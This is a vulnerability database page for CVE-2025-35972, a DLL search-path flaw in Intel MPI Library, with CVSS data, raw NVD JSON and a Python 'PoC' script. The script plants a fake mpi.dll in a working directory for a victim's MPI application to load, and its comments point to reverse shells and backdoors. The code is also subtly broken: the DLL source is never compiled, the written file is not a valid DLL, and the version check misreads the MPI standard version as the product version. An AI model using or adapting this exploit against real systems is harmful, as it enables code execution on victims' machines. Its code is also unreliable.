Security Vulnerability Report
中文
CVE-2025-35972 CVSS 6.7 MEDIUM

CVE-2025-35972

Published: 2025-11-11 17:15:52
Last Modified: 2026-04-15 00:35:42

Description

Uncontrolled search path for the Intel MPI Library before version 2021.16 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Intel MPI Library < 2021.16 (所有Windows和Linux版本)
Intel MPI Library 2021.15及更早版本
使用受影响版本Intel MPI Library的所有应用程序

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-35972 PoC - DLL Preloading Attack # Target: Intel MPI Library < 2021.16 # Attack Vector: Uncontrolled Search Path import os import ctypes import shutil from ctypes import wintypes def create_malicious_dll(): """ Create a malicious DLL that will be loaded by Intel MPI Library This DLL creates a reverse shell or executes arbitrary code """ dll_code = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Malicious code execution here // Could create a backdoor, execute shell commands, etc. MessageBox(NULL, "Intel MPI Library Loaded", "CVE-2025-35972", MB_OK); // Example: Execute calc.exe as proof of concept WinExec("calc.exe", SW_SHOWNORMAL); // In real attack: Establish reverse shell connection // system("cmd.exe /c whoami > C:\\\\temp\\\\pwned.txt"); } return TRUE; } ''' # Save malicious DLL with open('mpi.dll', 'wb') as f: f.write(b'MZ' + b'\x00' * 58 + b'\x90' * 64) return 'mpi.dll' def exploit_cve_2025_35972(target_dir): """ Exploit function for CVE-2025-35972 Places malicious DLL in a directory that will be searched by Intel MPI Library """ malicious_dll = create_malicious_dll() # Copy to target directory (e.g., user's working directory) target_path = os.path.join(target_dir, malicious_dll) shutil.copy(malicious_dll, target_path) print(f"[+] Malicious DLL placed at: {target_path}") print("[+] When user runs Intel MPI application from this directory,") print("[+] the malicious DLL will be loaded instead of the legitimate one") print("[+] This leads to arbitrary code execution with user's privileges") return target_path def check_vulnerable_versions(): """ Check if Intel MPI Library version is vulnerable Vulnerable: < 2021.16 """ try: # Try to get Intel MPI version from mpi4py import MPI version = MPI.Get_version() print(f"[*] Intel MPI Version: {version}") # Parse version and check if vulnerable # Version format: (major, minor) major, minor = version if major < 2021 or (major == 2021 and minor < 16): print("[!] System is VULNERABLE to CVE-2025-35972") return True else: print("[+] System is NOT vulnerable (version >= 2021.16)") return False except Exception as e: print(f"[*] Could not determine MPI version: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-35972 PoC - Intel MPI Library DLL Preloading") print("=" * 60) # Check if vulnerable is_vulnerable = check_vulnerable_versions() # For demonstration, exploit the vulnerability current_dir = os.getcwd() exploit_path = exploit_cve_2025_35972(current_dir) print("\n[*] Next step: Wait for user to run Intel MPI application") print("[*] The malicious DLL will be loaded automatically")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-35972", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:51.700", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled search path for the Intel MPI Library before version 2021.16 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01386.html", "source": "[email protected]"}]}}